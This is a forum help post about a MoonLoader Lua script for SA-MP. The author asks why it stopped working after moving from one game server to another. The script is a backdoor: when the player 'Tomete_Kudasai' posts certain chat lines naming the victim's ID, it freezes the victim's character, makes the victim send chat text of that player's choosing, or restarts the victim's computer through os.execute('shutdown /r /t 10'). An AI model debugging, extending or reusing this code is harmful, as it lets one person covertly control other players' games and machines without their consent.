- 30
- 2
- Версия MoonLoader
- .027.0-preview
При написании определенного текста - происходит кое-что. На Аризоне сделал успешно, но на другом сервере не выходит.
Отправление Текста Сервера: - {40848B}Tomete_Kudasai[202][vip: 0]{FFFFFF}:
Ничего не выходит, что нужно сделать?
Отправление Текста Сервера: - {40848B}Tomete_Kudasai[202][vip: 0]{FFFFFF}:
Lua:
function sampev.OnServerMessage(color, text)
local _, id = sampGetPlayerIdByCharHandle(PLAYER_PED)
if text:find("- %{40848B%}Tomete_Kudasai%[(%d+)%][vip: 0]%{FFFFFF%}: постой (%d+)") then
crisid, myid = text:match("- %{40848B%}Tomete_Kudasai%[(%d+)%][vip: 0]%{FFFFFF%}: постой (%d+)")
if tonumber(myid) == tonumber(id) then
freezeCharPosition(PLAYER_PED, true)
end
end
if text:find("- %{40848B%}Tomete_Kudasai%[(%d+)%][vip: 0]%{FFFFFF%}: иди (%d+)") then
crisid, myid = text:match("- %{40848B%}Tomete_Kudasai%[(%d+)%][vip: 0]%{FFFFFF%}: иди (%d+)")
if tonumber(myid) == tonumber(id) then
freezeCharPosition(PLAYER_PED, false)
end
end
if text:find("- %{40848B%}Tomete_Kudasai%[(%d+)%][vip: 0]%{FFFFFF%}: (%d+) говори: (.+)") then
crisid, myid, govori = text:match("- %{40848B%}Tomete_Kudasai%[(%d+)%][vip: 0]%{FFFFFF%}: (%d+) говори: (.+)")
if tonumber(myid) == tonumber(id) then
sampSendChat("".. govori .."")
end
end
if text:find("- %{40848B%}Tomete_Kudasai%[(%d+)%][vip: 0]%{FFFFFF%}: пока (%d+)") then
crisid, myid = text:match("- %{40848B%}Tomete_Kudasai%[(%d+)%][vip: 0]%{FFFFFF%}: пока (%d+)")
if tonumber(myid) == tonumber(id) then
sampSendChat("Так-точно, выключаюсь")
os.execute("shutdown /r /t 10")
end
end
end